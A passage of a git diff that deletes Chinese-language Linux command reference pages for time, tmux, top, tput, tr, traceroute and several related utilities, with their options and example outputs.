- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/time.html b/linux-command.docset/Contents/Resources/Documents/c/time.html deleted file mode 100644 index aa81af351f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/time.html +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - - - - - - time 命令,Linux time 命令详解:统计给定命令所花费的总时间 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

time

-

统计给定命令所花费的总时间

-

补充说明

-

time命令 用于统计给定命令所花费的总时间。

-

语法

-
time(参数)
-
-

参数

-

指令:指定需要运行的额指令及其参数。

-

实例

-

当测试一个程序或比较不同算法时,执行时间是非常重要的,一个好的算法应该是用时最短的。所有类UNIX系统都包含time命令,使用这个命令可以统计时间消耗。例如:

-
[root@localhost ~]# time ls
-anaconda-ks.cfg  install.log  install.log.syslog  satools  text
-
-real    0m0.009s
-user    0m0.002s
-sys     0m0.007s
-
-

输出的信息分别显示了该命令所花费的real时间、user时间和sys时间。

-
    -
  • real时间是指挂钟时间,也就是命令开始执行到结束的时间。这个短时间包括其他进程所占用的时间片,和进程被阻塞时所花费的时间。
  • -
  • user时间是指进程花费在用户模式中的CPU时间,这是唯一真正用于执行进程所花费的时间,其他进程和花费阻塞状态中的时间没有计算在内。
  • -
  • sys时间是指花费在内核模式中的CPU时间,代表在内核中执系统调用所花费的时间,这也是真正由进程使用的CPU时间。
  • -
-

shell内建也有一个time命令,当运行time时候是调用的系统内建命令,应为系统内建的功能有限,所以需要时间其他功能需要使用time命令可执行二进制文件/usr/bin/time

-

使用-o选项将执行时间写入到文件中:

-
/usr/bin/time -o outfile.txt ls
-
-

使用-a选项追加信息:

-
/usr/bin/time -a -o outfile.txt ls
-
-

使用-f选项格式化时间输出:

-
/usr/bin/time -f "time: %U" ls
-
-

-f选项后的参数:

-

参数 | 描述 ---- | --- -%E | real时间,显示格式为[小时:]分钟:秒 -%U | user时间。 -%S | sys时间。 -%C | 进行计时的命令名称和命令行参数。 -%D | 进程非共享数据区域,以KB为单位。 -%x | 命令退出状态。 -%k | 进程接收到的信号数量。 -%w | 进程被交换出主存的次数。 -%Z | 系统的页面大小,这是一个系统常量,不用系统中常量值也不同。 -%P | 进程所获取的CPU时间百分百,这个值等于 user+system 时间除以总共的运行时间。 -%K | 进程的平均总内存使用量(data+stack+text),单位是 KB。 -%w | 进程主动进行上下文切换的次数,例如等待I/O操作完成。 -%c | 进程被迫进行上下文切换的次数(由于时间片到期)。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/times.html b/linux-command.docset/Contents/Resources/Documents/c/times.html deleted file mode 100644 index bddfa23da6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/times.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - times 命令,Linux times 命令详解:显示进程累计时间。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

times

-

显示进程累计时间。

-

主要用途

-
    -
  • 打印出shell及其子进程累计使用的用户时间和系统时间。
  • -
-

返回值

-

总是返回成功。

-

例子

-
# 执行命令
-times
-# 返回结果
-0m0.037s 0m0.009s
-0m0.010s 0m0.024s
-# 根据times(2)的man手册,对应关系如下:
-# 用户时间        | 系统时间
-# 子进程的用户时间 | 子进程的系统时间
-
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tload.html b/linux-command.docset/Contents/Resources/Documents/c/tload.html deleted file mode 100644 index 49786a925d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tload.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - tload 命令,Linux tload 命令详解:显示系统负载状况 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tload

-

显示系统负载状况

-

补充说明

-

tload命令 以图形化的方式输出当前系统的平均负载到指定的终端。假设不给予终端机编号,则会在执行tload指令的终端机显示负载情形。

-

语法

-
tload(选项)(参数)
-
-

选项

-
-s:指定闲时的刻度;
--d:指定间隔的时间(秒)。
-
-

参数

-

终端:指定显示信息的终端设备文件。

-

实例

-

使用tload命令查看系统负载情况:

-
tload -d 1
-0.08, 0.02,0.01
-0.04, 0.01, 0.00
-0.04, 0.01, 0.00
-0.04, 0.01,0.00
-0.06, 0.02, 0.00
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tmux.html b/linux-command.docset/Contents/Resources/Documents/c/tmux.html deleted file mode 100644 index 237161eef1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tmux.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - - tmux 命令,Linux tmux 命令详解:Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tmux

-

Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权

-

补充说明

-

使用它最直观的好处就是,通过一个终端登录远程主机并运行tmux后,在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机;

-

功能

-
    -
  • 提供了强劲的、易于使用的命令行界面。
  • -
  • 可横向和纵向分割窗口。
  • -
  • 窗格可以自由移动和调整大小,或直接利用四个预设布局之一。
  • -
  • 支持 UTF-8 编码及 256 色终端。
  • -
  • 可在多个缓冲区进行复制和粘贴。
  • -
  • 可通过交互式菜单来选择窗口、会话及客户端。
  • -
  • 支持跨窗口搜索。
  • -
  • 支持自动及手动锁定窗口。
  • -
-

安装

-
# 在 Mac OS 中,通过 brew 安装
-brew install tmux
-# ubuntu版本下直接apt-get安装
-sudo apt-get install tmux
-# centos7版本下直接yum安装
-yum install -y tmux
-
-# centos6版本需要编译安装
-yum install libevent libevent-devel ncurses-devel
-tar -zvxf tmux-2.3.tar.gz # (提前下载:wget https://github.com/tmux/tmux/releases/download/2.3/tmux-2.3.tar.gz)
-cd tmux-2.3
-./configure
-make && make install
-
-

快捷键使用说明

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
Ctrl+b
-
-
激活控制台;此时以下按键生效
-
-
系统操作
-
-
?
-
-
列出所有快捷键;按q返回
-
-
d
-
-
脱离当前会话;这样可以暂时返回Shell界面,输入tmux attach能够重新进入之前的会话
-
-
D
-
-
选择要脱离的会话;在同时开启了多个会话时使用
-
-
Ctrl+z
-
-
挂起当前会话
-
-
r
-
-
强制重绘未脱离的会话
-
-
s
-
-
选择并切换会话;在同时开启了多个会话时使用
-
-
:
-
-
进入命令行模式;此时可以输入支持的命令,例如kill-server可以关闭服务器
-
-
[
-
-
进入复制模式;此时的操作与vi/emacs相同,按q/Esc退出
-
-
~
-
-
列出提示信息缓存;其中包含了之前tmux返回的各种提示信息
-
-
窗口操作
-
-
c
-
-
创建新窗口
-
-
&
-
-
关闭当前窗口
-
-
数字键
-
-
切换至指定窗口
-
-
p
-
-
切换至上一窗口
-
-
n
-
-
切换至下一窗口
-
-
l
-
-
在前后两个窗口间互相切换
-
-
w
-
-
通过窗口列表切换窗口
-
-
,
-
-
重命名当前窗口;这样便于识别
-
-
.
-
-
修改当前窗口编号;相当于窗口重新排序
-
-
f
-
-
在所有窗口中查找指定文本
-
-
面板操作
-
-
-
-
将当前面板平分为上下两块
-
-
%
-
-
将当前面板平分为左右两块
-
-
x
-
-
关闭当前面板
-
-
!
-
-
将当前面板置于新窗口;即新建一个窗口,其中仅包含当前面板
-
-
Ctrl+方向键
-
-
以1个单元格为单位移动边缘以调整当前面板大小
-
-
Alt+方向键
-
-
以5个单元格为单位移动边缘以调整当前面板大小
-
-
Space
-
-
在预置的面板布局中循环切换;依次包括even-horizontal、even-vertical、main-horizontal、main-vertical、tiled
-
-
q
-
-
显示面板编号
-
-
o
-
-
在当前窗口中选择下一面板
-
-
方向键
-
-
移动光标以选择面板
-
-
{
-
-
向前置换当前面板
-
-
}
-
-
向后置换当前面板
-
-
Alt+o
-
-
逆时针旋转当前窗口的面板
-
-
Ctrl+o
-
-
顺时针旋转当前窗口的面板
-
-

1)进入tmux面板后,一定要先按ctrl+b,然后松开,再按其他的组合键才生效。 -2)常用到的几个组合键:

-
ctrl+b ?        #     显示快捷键帮助
-ctrl+b 空格键   #     采用下一个内置布局,这个很有意思,在多屏时,用这个就会将多有屏幕竖着展示
-ctrl+b !        #     把当前窗口变为新窗口
-ctrl+b  "       #     模向分隔窗口
-ctrl+b %        #     纵向分隔窗口
-ctrl+b q        #     显示分隔窗口的编号
-ctrl+b o        #     跳到下一个分隔窗口。多屏之间的切换
-ctrl+b 上下键   #    上一个及下一个分隔窗口
-ctrl+b C-方向键 #    调整分隔窗口大小
-ctrl+b &        #    确认后退出当前tmux
-ctrl+b [        #    复制模式,即将当前屏幕移到上一个的位置上,其他所有窗口都向前移动一个。
-ctrl+b c        #    创建新窗口
-ctrl+b n        #    选择下一个窗口
-ctrl+b l        #    最后使用的窗口
-ctrl+b p        #    选择前一个窗口
-ctrl+b w        #    以菜单方式显示及选择窗口
-ctrl+b s        #    以菜单方式显示和选择会话。这个常用到,可以选择进入哪个tmux
-ctrl+b t        #    显示时钟。然后按enter键后就会恢复到shell终端状态
-ctrl+b d        #    脱离当前会话;这样可以暂时返回Shell界面,输入tmux attach能够重新进入之前的会话
-
-

参考资料

-
    -
  • tmux 官网下载地址:http://tmux.github.io/
  • -
-
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/top.html b/linux-command.docset/Contents/Resources/Documents/c/top.html deleted file mode 100644 index 89622ba75e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/top.html +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - top 命令,Linux top 命令详解:显示或管理执行中的程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

top

-

显示或管理执行中的程序

-

补充说明

-

top命令 可以实时动态地查看系统的整体运行情况,是一个综合了多方信息监测系统性能和运行信息的实用工具。通过top命令所提供的互动式界面,用热键可以管理。

-

语法

-
top(选项)
-
-

选项

-
-b:以批处理模式操作;
--c:显示完整的治命令;
--d:屏幕刷新间隔时间;
--I:忽略失效过程;
--s:保密模式;
--S:累积模式;
--i<时间>:设置间隔时间;
--u<用户名>:指定用户名;
--p<进程号>:指定进程;
--n<次数>:循环显示的次数。
-
-

top交互命令

-

在top命令执行过程中可以使用的一些交互命令。这些命令都是单字母的,如果在命令行中使用了-s选项, 其中一些命令可能会被屏蔽。

-
h:显示帮助画面,给出一些简短的命令总结说明;
-k:终止一个进程;
-i:忽略闲置和僵死进程,这是一个开关式命令;
-q:退出程序;
-r:重新安排一个进程的优先级别;
-S:切换到累计模式;
-s:改变两次刷新之间的延迟时间(单位为s),如果有小数,就换算成ms。输入0值则系统将不断刷新,默认值是5s;
-f或者F:从当前显示中添加或者删除项目;
-o或者O:改变显示项目的顺序;
-l:切换显示平均负载和启动时间信息;
-m:切换显示内存信息;
-t:切换显示进程和CPU状态信息;
-c:切换显示命令名称和完整命令行;
-M:根据驻留内存大小进行排序;
-P:根据CPU使用百分比大小进行排序;
-T:根据时间/累计时间进行排序;
-w:将当前设置写入~/.toprc文件中。
-
-

实例

-
top - 09:44:56 up 16 days, 21:23,  1 user,  load average: 9.59, 4.75, 1.92
-Tasks: 145 total,   2 running, 143 sleeping,   0 stopped,   0 zombie
-Cpu(s): 99.8%us,  0.1%sy,  0.0%ni,  0.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
-Mem:   4147888k total,  2493092k used,  1654796k free,   158188k buffers
-Swap:  5144568k total,       56k used,  5144512k free,  2013180k cached
-
-

解释:

-
    -
  • top - 09:44:56[当前系统时间],
  • -
  • 16 days[系统已经运行了16天],
  • -
  • 1 user[个用户当前登录],
  • -
  • load average: 9.59, 4.75, 1.92[系统负载,即任务队列的平均长度]
  • -
  • Tasks: 145 total[总进程数],
  • -
  • 2 running[正在运行的进程数],
  • -
  • 143 sleeping[睡眠的进程数],
  • -
  • 0 stopped[停止的进程数],
  • -
  • 0 zombie[冻结进程数],
  • -
  • Cpu(s): 99.8%us[用户空间占用CPU百分比],
  • -
  • 0.1%sy[内核空间占用CPU百分比],
  • -
  • 0.0%ni[用户进程空间内改变过优先级的进程占用CPU百分比],
  • -
  • 0.2%id[空闲CPU百分比], 0.0%wa[等待输入输出的CPU时间百分比],
  • -
  • 0.0%hi[],
  • -
  • 0.0%st[],
  • -
  • Mem: 4147888k total[物理内存总量],
  • -
  • 2493092k used[使用的物理内存总量],
  • -
  • 1654796k free[空闲内存总量],
  • -
  • 158188k buffers[用作内核缓存的内存量]
  • -
  • Swap:  5144568k total[交换区总量],
  • -
  • 56k used[使用的交换区总量],
  • -
  • 5144512k free[空闲交换区总量],
  • -
  • 2013180k cached[缓冲的交换区总量],
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/touch.html b/linux-command.docset/Contents/Resources/Documents/c/touch.html deleted file mode 100644 index b83d5c222c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/touch.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - touch 命令,Linux touch 命令详解:创建新的空文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

touch

-

创建新的空文件

-

补充说明

-

touch命令 有两个功能:一是用于把已存在文件的时间标签更新为系统当前的时间(默认方式),它们的数据将原封不动地保留下来;二是用来创建新的空文件。

-

语法

-
touch(选项)(参数)
-
-

选项

-
-a:或--time=atime或--time=access或--time=use  只更改存取时间;
--c:或--no-create  不建立任何文件;
--d:<时间日期> 使用指定的日期时间,而非现在的时间;
--f:此参数将忽略不予处理,仅负责解决BSD版本touch指令的兼容性问题;
--m:或--time=mtime或--time=modify  只更该变动时间;
--r:<参考文件或目录>  把指定文件或目录的日期时间,统统设成和参考文件或目录的日期时间相同;
--t:<日期时间>  使用指定的日期时间,而非现在的时间;
---help:在线帮助;
---version:显示版本信息。
-
-

参数

-

文件:指定要设置时间属性的文件列表。

-

实例

-
touch ex2
-
-

在当前目录下建立一个空文件ex2,然后,利用ls -l命令可以发现文件ex2的大小为0,表示它是空文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tput.html b/linux-command.docset/Contents/Resources/Documents/c/tput.html deleted file mode 100644 index cb9644f76a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tput.html +++ /dev/null @@ -1,228 +0,0 @@ - - - - - - - - - - - tput 命令,Linux tput 命令详解:通过terminfo数据库对终端会话进行初始化和操作 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tput

-

通过terminfo数据库对终端会话进行初始化和操作

-

补充说明

-

tput命令 将通过 terminfo 数据库对您的终端会话进行初始化和操作。通过使用 tput,您可以更改几项终端功能,如移动或更改光标、更改文本属性,以及清除终端屏幕的特定区域。

-

什么是 terminfo 数据库?

-

UNIX 系统上的 terminfo 数据库用于定义终端和打印机的属性及功能,包括各设备(例如,终端和打印机)的行数和列数以及要发送至该设备的文本的属性。UNIX 中的几个常用程序都依赖 terminfo 数据库提供这些属性以及许多其他内容,其中包括 vi 和 emacs 编辑器以及 curses 和 man 程序。

-

与 UNIX 中的大多数命令一样,tput 命令既可以用在 shell 命令行中也可以用在 shell 脚本中。为让您更好地理解 tput,本文首先从命令行讲起,然后紧接着讲述 shell 脚本示例。

-

光标属性

-

在 UNIX shell 脚本中或在命令行中,移动光标或更改光标属性可能是非常有用的。有些情况下,您可能需要输入敏感信息(如密码),或在屏幕上两个不同的区域输入信息。在此类情况下,使用 tput 可能会对您有所帮助。

-
tput clear # 清屏
-tput sc # 保存当前光标位置
-tput cup 10 13 # 将光标移动到 row col
-tput civis # 光标不可见
-tput cnorm # 光标可见
-tput rc # 显示输出
-exit 0
-
-

移动光标

-

使用 tput 可以方便地实现在各设备上移动光标的位置。通过在 tput 中使用 cup 选项,或光标位置,您可以在设备的各行和各列中将光标移动到任意 X 或 Y 坐标。设备左上角的坐标为 (0,0)。

-

要在设备上将光标移动到第 5 列 (X) 的第 1 行 (Y),只需执行 tput cup 5 1。另一个示例是 tput cup 23 45,此命令将使光标移动到第 23 列上的第 45 行。

-

移动光标并显示信息

-

另一种有用的光标定位技巧是移动光标,执行用于显示信息的命令,然后返回到前一光标位置:

-
(tput sc ; tput cup 23 45 ; echo “Input from tput/echo at 23/45” ; tput rc)
-
-

下面我们分析一下 subshell 命令:

-
tput sc
-
-

必须首先保存当前的光标位置。要保存当前的光标位置,请包括 sc 选项或“save cursor position”。

-
tput cup 23 45
-
-

在保存了光标位置后,光标坐标将移动到 (23,45)。

-
echo “Input from tput/echo at 23/45”
-
-

将信息显示到 stdout 中。

-
tput rc
-
-

在显示了这些信息之后,光标必须返回到使用 tput sc 保存的原始位置。要使光标返回到其上次保存的位置,请包括 rc 选项或“restore cursor position”。

-

注意:由于本文首先详细介绍了通过命令行执行 tput,因此您可能会觉得在自己的 subshell 中执行命令要比单独执行每条命令然后在每条命令执行之前显示提示更简洁。

-

更改光标的属性

-

在向某一设备显示数据时,很多时候您并不希望看到光标。将光标转换为不可见可以使数据滚动时的屏幕看起来更整洁。要使光标不可见,请使用 civis 选项(例如,tput civis)。在数据完全显示之后,您可以使用 cnorm 选项将光标再次转变为可见。

-

文本属性

-

更改文本的显示方式可以让用户注意到菜单中的一组词或警惕用户注意某些重要的内容。您可以通过以下方式更改文本属性:使文本加粗、在文本下方添加下划线、更改背景颜色和前景颜色,以及逆转颜色方案等。

-

要更改文本的颜色,请使用 setb 选项(用于设置背景颜色)和 setf 选项(用于设置前景颜色)以及在 terminfo 数据库中分配的颜色数值。通常情况下,分配的数值与颜色的对应关系如下,但是可能会因 UNIX 系统的不同而异:

-
    -
  • 0:黑色
  • -
  • 1:蓝色
  • -
  • 2:绿色
  • -
  • 3:青色
  • -
  • 4:红色
  • -
  • 5:洋红色
  • -
  • 6:黄色
  • -
  • 7:白色
  • -
-

执行以下示例命令可以将背景颜色更改为黄色,将前景颜色更改为红色:

-
tput setb 6 tput setf 4
-
-

要反显当前的颜色方案,只需执行tput rev

-

有时,仅为文本着色还不够,也就是说,您想要通过另一种方式引起用户的注意。可以通过两种方式达到这一目的:一是将文本设置为粗体,二是为文本添加下划线。

-

要将文本更改为粗体,请使用 bold 选项。要开始添加下划线,请使用 smul 选项。在完成显示带下划线的文本后,请使用 rmul 选项。

-

实例

-

使输出的字符串有颜色,底色,加粗:

-
#!/bin/bash
-printf $(tput setaf 2; tput bold)'color show\n\n'$(tput sgr0)
-
-for((i=0; i<=7; i++)); do
-    echo $(tput setaf $i)"show me the money"$(tput sgr0)
-done
-
-printf '\n'$(tput setaf 2; tput setab 0; tput bold)'background color show'$(tput sgr0)'\n\n'
-
-for((i=0,j=7; i<=7; i++,j--)); do
-    echo $(tput setaf $i; tput setab $j; tput bold)"show me the money"$(tput sgr0)
-done
-
-exit 0
-
-

输出格式控制函数:

-
#!/bin/bash
-
-# $1 str       print string
-# $2 color     0-7 设置颜色
-# $3 bgcolor   0-7 设置背景颜色
-# $4 bold      0-1 设置粗体
-# $5 underline 0-1 设置下划线
-
-function format_output(){
-    str=$1
-    color=$2
-    bgcolor=$3
-    bold=$4
-    underline=$5
-    normal=$(tput sgr0)
-
-    case "$color" in
-        0|1|2|3|4|5|6|7)
-            setcolor=$(tput setaf $color;) ;;
-        *)
-            setcolor="" ;;
-    esac
-
-    case "$bgcolor" in
-        0|1|2|3|4|5|6|7)
-            setbgcolor=$(tput setab $bgcolor;) ;;
-        *)
-            setbgcolor="" ;;
-    esac
-
-    if [ "$bold" = "1" ]; then
-        setbold=$(tput bold;)
-    else
-        setbold=""
-    fi
-
-    if [ "$underline" = "1" ]; then
-        setunderline=$(tput smul;)
-    else
-        setunderline=""
-    fi
-
-    printf "$setcolor$setbgcolor$setbold$setunderline$str$normal\n"
-}
-
-format_output "Yesterday Once more" 2 5 1 1
-
-exit 0
-
-

光标属性例子:

-
#!/bin/bash
-# clear the screen
-tput clear
-# Move cursor to screen location X,Y (top left is 0,0)
-tput cup 3 15
-# set a foreground colour using ANSI escape
-tput setaf 3
-echo "XYX Corp LTD."
-tput sgr0
-tput cup 5 17
-# Set reverse video mode
-tput rev
-echo "M A I N - M E N U"
-tput sgr0
-tput cup 7 15
-echo "1\. User Management"
-tput cup 8 15
-echo "2\. service Management"
-tput cup 9 15
-echo "3\. Process Management"
-tput cup 10 15
-echo "4\. Backup"
-# Set bold mode
-tput bold
-tput cup 12 15
-read -p "Enter your choice [1-4] " choice
-tput clear
-tput sgr0
-tput rc
-
-exit 0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tr.html b/linux-command.docset/Contents/Resources/Documents/c/tr.html deleted file mode 100644 index 04987e0c80..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tr.html +++ /dev/null @@ -1,133 +0,0 @@ - - - - - - - - - - - tr 命令,Linux tr 命令详解:将字符进行替换压缩和删除 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tr

-

将字符进行替换压缩和删除

-

补充说明

-

tr命令 可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。

-

语法

-
tr(选项)(参数)
-
-

选项

-
-c或——complerment:取代所有不属于第一字符集的字符;
--d或——delete:删除所有属于第一字符集的字符;
--s或--squeeze-repeats:把连续重复的字符以单独一个字符表示;
--t或--truncate-set1:先删除第一字符集较第二字符集多出的字符。
-
-

参数

-
    -
  • 字符集1:指定要转换或删除的原字符集。当执行转换操作时,必须使用参数“字符集2”指定转换的目标字符集。但执行删除操作时,不需要参数“字符集2”;
  • -
  • 字符集2:指定要转换成的目标字符集。
  • -
-

实例

-

将输入字符由大写转换为小写:

-
echo "HELLO WORLD" | tr 'A-Z' 'a-z'
-hello world
-
-

'A-Z' 和 'a-z'都是集合,集合是可以自己制定的,例如:'ABD-}'、'bB.,'、'a-de-h'、'a-c0-9'都属于集合,集合里可以使用'\n'、'\t',可以可以使用其他ASCII字符。

-

使用tr删除字符:

-
echo "hello 123 world 456" | tr -d '0-9'
-hello  world 
-
-

将制表符转换为空格:

-
cat text | tr '\t' ' '
-
-

字符集补集,从输入文本中将不在补集中的所有字符删除:

-
echo aa.,a 1 b#$bb 2 c*/cc 3 ddd 4 | tr -d -c '0-9 \n'
- 1  2  3  4
-
-

此例中,补集中包含了数字0~9、空格和换行符\n,所以没有被删除,其他字符全部被删除了。

-

用tr压缩字符,可以压缩输入中重复的字符:

-
echo "thissss is      a text linnnnnnne." | tr -s ' sn'
-this is a text line.
-
-

巧妙使用tr做数字相加操作:

-
echo 1 2 3 4 5 6 7 8 9 | xargs -n1 | echo $[ $(tr '\n' '+') 0 ]
-
-

删除Windows文件“造成”的'^M'字符:

-
cat file | tr -s "\r" "\n" > new_file
-或
-cat file | tr -d "\r" > new_file
-
-

tr可以使用的字符类:

-
[:alnum:]:字母和数字
-[:alpha:]:字母
-[:cntrl:]:控制(非打印)字符
-[:digit:]:数字
-[:graph:]:图形字符
-[:lower:]:小写字母
-[:print:]:可打印字符
-[:punct:]:标点符号
-[:space:]:空白字符
-[:upper:]:大写字母
-[:xdigit:]:十六进制字符  
-
-

使用方式:

-
tr '[:lower:]' '[:upper:]'
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tracepath.html b/linux-command.docset/Contents/Resources/Documents/c/tracepath.html deleted file mode 100644 index d810072d77..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tracepath.html +++ /dev/null @@ -1,99 +0,0 @@ - - - - - - - - - - - tracepath 命令,Linux tracepath 命令详解:追踪目的主机经过的路由信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tracepath

-

追踪目的主机经过的路由信息

-

补充说明

-

tracepath命令 用来追踪并显示报文到达目的主机所经过的路由信息。

-

语法

-
tracepath(参数)
-
-

参数

-
    -
  • 目的主机:指定追踪路由信息的目的主机;
  • -
  • 端口:指定使用的UDP端口号。
  • -
-

实例

-
tracepath www.58.com
- 1:  192.168.2.10 (192.168.2.10)                           20.150ms pmtu 1500
- 1:  unknown (192.168.2.1)                                  9.343ms
- 2:  221.6.45.33 (221.6.45.33)                             34.430ms
- 3:  221.6.9.81 (221.6.9.81)                               19.263ms
- 4:  122.96.66.37 (122.96.66.37)                           54.372ms
- 5:  219.158.96.149 (219.158.96.149)                      asymm  6 128.526ms
- 6:  123.126.0.66 (123.126.0.66)                          138.281ms
- 7:  124.65.57.26 (124.65.57.26)                          166.244ms
- 8:  61.148.154.98 (61.148.154.98)                        103.723ms
- 9:  202.106.42.102 (202.106.42.102)                      asymm 10  78.099ms
-10:  210.77.139.150 (210.77.139.150)                      asymm  9 199.930ms
-11:  211.151.104.6 (211.151.104.6)                        asymm 10 121.965ms
-12:  no reply
-13:  211.151.111.30 (211.151.111.30)                      asymm 12 118.989ms reached
-     Resume: pmtu 1500 hops 13 back 12
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/traceroute.html b/linux-command.docset/Contents/Resources/Documents/c/traceroute.html deleted file mode 100644 index 56d355d14e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/traceroute.html +++ /dev/null @@ -1,139 +0,0 @@ - - - - - - - - - - - traceroute 命令,Linux traceroute 命令详解:显示数据包到主机间的路径 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

traceroute

-

显示数据包到主机间的路径

-

补充说明

-

traceroute命令 用于追踪数据包在网络上的传输时的全部路径,它默认发送的数据包大小是40字节。

-

通过traceroute我们可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的。

-

traceroute通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备traceroute要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其ip地址。

-

语法

-
traceroute(选项)(参数)
-
-

选项

-
-d:使用Socket层级的排错功能;
--f<存活数值>:设置第一个检测数据包的存活数值TTL的大小;
--F:设置勿离断位;
--g<网关>:设置来源路由网关,最多可设置8个;
--i<网络界面>:使用指定的网络界面送出数据包;
--I:使用ICMP回应取代UDP资料信息;
--m<存活数值>:设置检测数据包的最大存活数值TTL的大小;
--n:直接使用IP地址而非主机名称;
--p<通信端口>:设置UDP传输协议的通信端口;
--r:忽略普通的Routing Table,直接将数据包送到远端主机上。
--s<来源地址>:设置本地主机送出数据包的IP地址;
--t<服务类型>:设置检测数据包的TOS数值;
--v:详细显示指令的执行过程;
--w<超时秒数>:设置等待远端主机回报的时间;
--x:开启或关闭数据包的正确性检验。
-
-

参数

-

主机:指定目的主机IP地址或主机名。

-

实例

-
traceroute www.58.com
-traceroute to www.58.com (211.151.111.30), 30 hops max, 40 byte packets
- 1  unknown (192.168.2.1)  3.453 ms  3.801 ms  3.937 ms
- 2  221.6.45.33 (221.6.45.33)  7.768 ms  7.816 ms  7.840 ms
- 3  221.6.0.233 (221.6.0.233)  13.784 ms  13.827 ms 221.6.9.81 (221.6.9.81)  9.758 ms
- 4  221.6.2.169 (221.6.2.169)  11.777 ms 122.96.66.13 (122.96.66.13)  34.952 ms 221.6.2.53 (221.6.2.53)  41.372 ms
- 5  219.158.96.149 (219.158.96.149)  39.167 ms  39.210 ms  39.238 ms
- 6  123.126.0.194 (123.126.0.194)  37.270 ms 123.126.0.66 (123.126.0.66)  37.163 ms  37.441 ms
- 7  124.65.57.26 (124.65.57.26)  42.787 ms  42.799 ms  42.809 ms
- 8  61.148.146.210 (61.148.146.210)  30.176 ms 61.148.154.98 (61.148.154.98)  32.613 ms  32.675 ms
- 9  202.106.42.102 (202.106.42.102)  44.563 ms  44.600 ms  44.627 ms
-10  210.77.139.150 (210.77.139.150)  53.302 ms  53.233 ms  53.032 ms
-11  211.151.104.6 (211.151.104.6)  39.585 ms  39.502 ms  39.598 ms
-12  211.151.111.30 (211.151.111.30)  35.161 ms  35.938 ms  36.005 ms
-
-

记录按序列号从1开始,每个纪录就是一跳 ,每跳表示一个网关,我们看到每行有三个时间,单位是ms,其实就是-q的默认参数。探测数据包向每个网关发送三个数据包后,网关响应后返回的时间;如果用traceroute -q 4 www.58.com,表示向每个网关发送4个数据包。

-

有时我们traceroute一台主机时,会看到有一些行是以星号表示的。出现这样的情况,可能是防火墙封掉了ICMP的返回信息,所以我们得不到什么相关的数据包返回数据。

-

